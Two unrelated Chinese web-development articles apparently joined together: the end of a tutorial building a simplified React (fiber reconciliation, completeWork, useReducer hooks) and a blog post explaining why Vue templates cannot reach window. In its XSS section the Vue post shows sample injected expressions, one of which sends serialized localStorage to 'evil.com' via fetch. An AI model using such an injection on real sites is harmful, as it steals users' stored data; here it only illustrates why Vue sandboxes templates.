    currentFirstChild: Fiber | null,
    element: ReactElement
) {
    // 节点复用的条件
    // 1. 同一层级下 2. key 相同 3. 类型相同
    // element 和 currentFirstChild 对应同一个父级,第一个条件满足
    const key = element.key;
    let child = currentFirstChild;

    while (child !== null) {
      if (child.key === key) {
        const elementType = element.type;
        // 可以复用
        if (child.elementType === elementType) {
          // todo 后面其它 fiber 可以删除了
          
          const existing = useFiber(child, element.props);
          existing.return = returnFiber;
          return existing;
        } else {
          // 前提:React 不认为同一层级下有两个相同的 key 值
          break;
        }
      } else {
        // 删除单个节点
        // deleteChild(returnFiber, child);
      }
      // 老 fiber 节点是单链表
      child = child.sibling;
    }

    let createdFiber = createFiberFromElement(element);
    createdFiber.return = returnFiber;
    return createdFiber;
}

CompleteWork 阶段

因为现在还没实现合成事件,可以先通过 addEventListener 模拟事件。

finalizeInitialChildren 遍历新旧 props,更新属性,

// 初始化、更新属性
// old {className='red', onClick:f, data-red='red'}
// new {className='red green', onClick:f}
function finalizeInitialChildren(
  domElement: Element,
  prevProps: any,
  nextProps: any
) {
  // 遍历老的 props
  for (const propKey in prevProps) {
    const prevProp = prevProps[propKey];
    if (propKey === "children") {
      if (isStr(prevProp) || isNum(prevProp)) {
        // 属性
        domElement.textContent = "";
      }
    } else {
      // 设置属性
      if (propKey === 'onClick') {
          // 模拟事件
          document.removeEventListener("click", prevProp)
      } else {
          // 如果新的 props 中没有,直接删除
          if(!(prevProp in nextProps)){
              (domElement as any)[propKey] = "";
          }
      }
    }
  }
  
  // 遍历新的 props
  for (const propKey in nextProps) {
    const nextProp = nextProps[propKey];
    if (propKey === "children") {
      if (isStr(nextProp) || isNum(nextProp)) {
        // 属性
        domElement.textContent = nextProp + "";
      }
    } else {
      // 设置属性
      if (propKey === 'onClick') {
          // 模拟事件
          document.addEventListener("click", nextProp)
      } else {
          (domElement as any)[propKey] = nextProp;
      }
    }
  }
}

updateFunctionComponent 增加 renderWithHooks

// 当前正在工作的函数组件的 fiber
let currentlyRenderingFiber: Fiber | null = null;
// 当前正在工作的 hook
let workInProgressHook: Hook | null = null;
let currentHook: Hook | null = null;

function finishRenderingHooks() {
  currentlyRenderingFiber = null;
  currentHook = null;
  workInProgressHook = null;
}

export function renderWithHooks<Props>(
  current: Fiber | null,
  workInProgress: Fiber,
  Component: any,
  props: Props
): any {
  currentlyRenderingFiber = workInProgress;
  workInProgress.memoizedState = null;

  let children = Component(props);

  finishRenderingHooks();

  return children;
}

function updateFunctionComponent(current: Fiber | null, workInProgress: Fiber) {
  const { type, pendingProps } = workInProgress;
  // 函数执行结果就是 children
  const children = renderWithHooks(current, workInProgress, type, pendingProps);
  reconcileChildren(current, workInProgress, children);
  return workInProgress.child;
}

completeWork 区分挂载和更新,更新时调用 updateHostComponent

function updateHostComponent(
  current: Fiber | null,
  workInProgress: Fiber,
  type: string,
  newProps: any
) {
  if (current?.memoizedProps === newProps) {
    return;
  }

  finalizeInitialChildren(
    workInProgress.stateNode as Element,
    current?.memoizedProps,
    newProps
  );
}

function completeWork(
  current: Fiber | null,
  workInProgress: Fiber
): Fiber | null {
  const newProps = workInProgress.pendingProps;
  switch (workInProgress.tag) {
    case HostRoot: {
      return null;
    }
    case HostComponent: {
      // 原生标签,type 是标签名
      const { type } = workInProgress;
      if(current !== null && workInProgress.stateNode !== null) {
          updateHostComponent(current, workInProgress, type, newProps)
      } else {
        // 1. 创建真实 DOM
        const instance = document.createElement(type);
        // 2. 初始化 DOM 属性
        finalizeInitialChildren(instance, null, newProps);
        // 3. 把子 dom 挂载到父 dom 上
        appendAllChildren(instance, workInProgress);
        workInProgress.stateNode = instance;
      }
      return null;
    }
  }

  throw new Error(
    `Unknown unit of work tag (${workInProgress.tag}). This error is likely caused by a bug in ` +
      "React. Please file an issue."
  );
}

实现 useReducer

定义 Hook 类型。

type Hook = {
  memoizedState: any; // 不同情况下,取值也不同,useState/useReducer 存的是 state,useEffect/useLayoutEffect 存的是 effect 单向循环链表
  next: null | Hook;
};

构建 hook 链表

// 1. 返回当前 useX 函数对应的 hook
// 2. 构建 hook 链表
// 源码中把 mount 阶段和 update 阶段实现在了两个函数中,这里简化一下,放在一个函数中实现
function updateWorkInProgressHook(): Hook {
  let hook: Hook;

  const current = currentlyRenderingFiber?.alternate

  if (current) {
    // update 阶段,复用老的
    currentlyRenderingFiber!.memoizedState = current.memoizedState;

    if (workInProgressHook != null) {
      workInProgressHook = hook = workInProgressHook.next!
      currentHook = currentHook?.next as Hook;
    } else {
      // hook 单链表的头节点
      hook = workInProgressHook = currentlyRenderingFiber?.memoizedState
      currentHook = current.memoizedState;
    }
  } else {
    // mount 阶段
    currentHook = null;
    hook = {
      memoizedState: null,
      next: null
    }

    // 构建 hook 链表
    if (workInProgressHook) {
      workInProgressHook = workInProgressHook.next = hook
    } else {
      // hook 单链表的头节点
      workInProgressHook = currentlyRenderingFiber?.memoizedState = hook
    }
  }

  return hook;
}

实现调度更新

// 根据 sourceFiber 找根节点
function getRootForUpdatedFiber(sourceFiber: Fiber): FiberRoot {
  let node = sourceFiber;
  let parent = node.return;

  while (parent !== null) {
    node = parent;
    parent = node.return;
  }

  return node.tag === HostRoot ? node.stateNode : null;
}

function dispatchReducerAction<S, I, A>(
  fiber: Fiber,
  hook: Hook,
  reducer: ((state: S, action: A) => S) | null,
  action: any
) {
  hook.memoizedState = reducer ? reducer(hook.memoizedState, action) : action;

  const root = getRootForUpdatedFiber(fiber);

  fiber.alternate = { ...fiber };
  if (fiber.sibling) {
    fiber.sibling.alternate = fiber.sibling;
  }

  scheduleUpdateOnFiber(root, fiber, true);
}

整合前两步,实现 useReducer 函数。

export function useReducer<S, I, A>(
  reducer: ((state: S, action: A) => S) | null,
  initialArg: I,
  init?: (initialArg: I) => S
) {
  // 1.  构建 hook 链表(mount、update)
  const hook: Hook = updateWorkInProgressHook();

  let initialState: S;
  if (init !== undefined) {
    initialState = init(initialArg);
  } else {
    initialState = initialArg as any;
  }

  // 2. 区分函数组件是初次挂载还是更新
  if(!currentlyRenderingFiber?.alternate) {
    hook.memoizedState = initialState;
  }

  // 3. dispatch
  const dispatch = dispatchReducerAction.bind(
    null,
    currentlyRenderingFiber!,
    hook,
    reducer as any
  )

  return [hook.memoizedState, dispatch];
}

原来Vue模版里用不了window是这回事

作者 奈德丽
2025年7月12日 22:31

想起以前在项目中遇到了一个问题,想在 Vue 模板里直接用 {{ window.location.href }} 获取当前页面地址,结果发现根本不行!但是在 script 里面用 console.log(window.location.href) 却完全没问题,当时为了快速业务开发,也没想着去研究为什么在模版访问不了,只是换了种解决方案,那刚好现在有时间了,来深入研究一下

这就奇怪了,明明都是 JavaScript,为什么在模板里就不行呢?不知道大家是否也有过这样的疑问呢?

带着这个疑问,我深挖了一下 Vue 的源码和官方文档,发现这背后的原理还挺有意思的。今天就来跟大家分享一下我的发现

先说结论

Vue 模板运行在一个受限的沙箱环境中,只能访问组件的数据和一些被允许的全局变量,window 不在这个"白名单"里。

这不是 bug,是 Vue 故意这么设计的!

30 秒看懂差别

<template>
  <!-- ❌ 这些都不行 -->
  <div>{{ window.location.href }}</div>
  <div>{{ document.title }}</div>
  <div>{{ console.log('test') }}</div>
  
  <!-- ✅ 这些可以 -->
  <div>{{ Math.random() }}</div>
  <div>{{ Date.now() }}</div>
  <div>{{ JSON.stringify(user) }}</div>
</template>

<script>
export default {
  data() {
    return {
      // ✅ 在 script 里随便用
      currentUrl: window.location.href,
      pageTitle: document.title
    }
  },
  mounted() {
    // ✅ 这里是完整的 JavaScript 环境
    console.log(window.navigator.userAgent)
    localStorage.setItem('test', 'value')
  }
}
</script>

你看,同样是 JavaScript 代码,在不同地方的"待遇"完全不一样。

Vue 官方是怎么说的?

我去翻了 Vue 的官方文档,找到了这段话:

Template expressions are sandboxed and only have access to a restricted list of globals.

翻译过来就是:模板表达式被沙箱化了,只能访问受限的全局变量列表。

还有一个更有意思的发现,在 Vue 的 GitHub Issue #1353 里,有开发者问能不能在模板里访问 window,Vue 团队的回复很直接:

这是设计决定,不是 bug。

模板表达式出于安全原因被故意限制在沙箱中。如果需要访问 window 属性,应该在组件的 methods 或 computed 属性中进行。

那接着往下看,vue它是怎么处理的

深挖源码,看看 Vue 到底做了什么

既然官方这么说,那我就去源码里看看 Vue 到底是怎么实现这个限制的。

白名单机制

在 Vue 3 的源码里,我找到了这个白名单:

// Vue 3 源码:packages/shared/src/globalsWhitelist.ts
const GLOBALS_WHITE_LISTED = 
  'Infinity,undefined,NaN,isFinite,isNaN,' +
  'parseFloat,parseInt,decodeURI,decodeURIComponent,' +
  'encodeURI,encodeURIComponent,Math,Number,Date,Array,' +
  'Object,Boolean,String,RegExp,Map,Set,JSON,Intl,BigInt'

看到了吧,MathDateJSON 这些都在白名单里,所以模板里可以用。但是 windowdocumentconsole 这些就没有,所以用不了。

代理机制

Vue 是通过 Proxy 来实现这个限制的:

// Vue 3 源码:packages/runtime-core/src/componentPublicInstance.ts
export const PublicInstanceProxyHandlers: ProxyHandler<any> = {
  get({ _: instance }, key) {
    // 查找顺序很重要!
  
    // 1️⃣ 先找组件自己的属性(data、computed、methods、props)
    if (key[0] !== '$') {
      // 这里会查找组件实例的属性
    }
  
    // 2️⃣ 再找全局属性($route、$router 等)
    const publicGetter = publicPropertiesMap[key]
    if (publicGetter) {
      return publicGetter(instance)
    }
  
    // 3️⃣ 最后检查白名单
    if (isGloballyWhitelisted(key)) {
      return (window as any)[key]  // 只有白名单里的才能访问 window
    }
  
    // 4️⃣ 其他情况就报警告
    if (process.env.NODE_ENV !== 'production') {
      warn(`Property "${key}" was accessed but is not defined.`)
    }
    return undefined
  }
}

这个代理的逻辑很清楚:先找组件自己的东西,再找全局属性,最后检查白名单。如果都没找到,就返回 undefined 并且警告。

为什么要这么设计?

刚开始我也觉得这个限制有点麻烦,但深入了解后发现,Vue 这么做是有道理的。

1. 安全考虑

最主要的原因是防止 XSS 攻击。想象一下,如果模板里可以随意访问全局变量,恶意用户可能会注入这样的代码:

// 🚨 如果没有限制,这些恶意代码都可能被执行
{{ window.location.href = 'https://malicious.com' }}
{{ window.localStorage.clear() }}
{{ window.fetch('https://evil.com', { method: 'POST', body: JSON.stringify(window.localStorage) }) }}

这就太危险了!

我还找到一个真实的安全案例:Vue.js Serverside Template XSS,展示了如果没有这种限制会发生什么。

2. 性能考虑

限制作用域查找范围,可以提高表达式求值的性能。如果允许访问所有全局变量,每次求值都要在多个作用域中查找,开销会更大。

3. 代码质量

强制开发者把逻辑放在合适的地方,而不是在模板里写复杂的表达式。这样代码结构更清晰,也更好维护。

实际项目中怎么办?

说了这么多原理,那在实际项目中遇到需要访问全局变量的情况怎么办呢?我总结了几种方法:

方法一:通过 computed 属性(推荐)

computed: {
  currentUrl() {
    return window.location.href
  },
  pageTitle() {
    return document.title
  },
  isOnline() {
    return navigator.onLine
  }
}

方法二:通过 methods

methods: {
  openWindow(url) {
    window.open(url, '_blank')
  },
  copyToClipboard(text) {
    navigator.clipboard.writeText(text)
  }
}

方法三:全局属性注册(适合系统级需求)

// main.js
const app = createApp(App)

app.config.globalProperties.$window = window
app.config.globalProperties.$document = document

// 模板中就可以用了
// {{ $window.innerWidth }}
// {{ $document.title }}

方法四:Composition API 的方式

// composables/useWindow.js
import { ref, onMounted, onUnmounted } from 'vue'

export function useWindow() {
  const width = ref(window.innerWidth)
  const height = ref(window.innerHeight)
  
  const updateSize = () => {
    width.value = window.innerWidth
    height.value = window.innerHeight
  }
  
  onMounted(() => {
    window.addEventListener('resize', updateSize)
  })
  
  onUnmounted(() => {
    window.removeEventListener('resize', updateSize)
  })
  
  return { width, height }
}

一些有趣的发现

在研究这个问题的过程中,我还发现了一些有意思的东西:

为什么 Math.random() 可以用?

因为 Math 在白名单里啊!Vue 认为这些内置的数学、日期、JSON 相关的对象是安全的,所以允许访问。

React 也有这个限制吗?

React 没有!因为 React 用的是 JSX,本质上就是 JavaScript,没有额外的模板编译过程。但这也意味着 React 在安全性方面需要开发者自己把控。

总结

Vue 模板的作用域限制看起来像是一个"坑",但实际上是一个精心设计的安全特性。它强制我们:

  1. 把逻辑放在合适的地方 - 模板专注于展示,逻辑放在 JavaScript 中
  2. 提高代码质量 - 避免在模板里写复杂的表达式
  3. 保证安全性 - 防止恶意代码注入
  4. 优化性能 - 减少不必要的全局变量查找

虽然刚开始可能会觉得不方便,但习惯了之后会发现这样的代码结构更清晰,也更安全。

记住一个原则:模板是视图层,不是逻辑层。把复杂的逻辑交给 JavaScript,让模板保持简洁和安全。


emm 狂野将使他们感到畏惧

❌
❌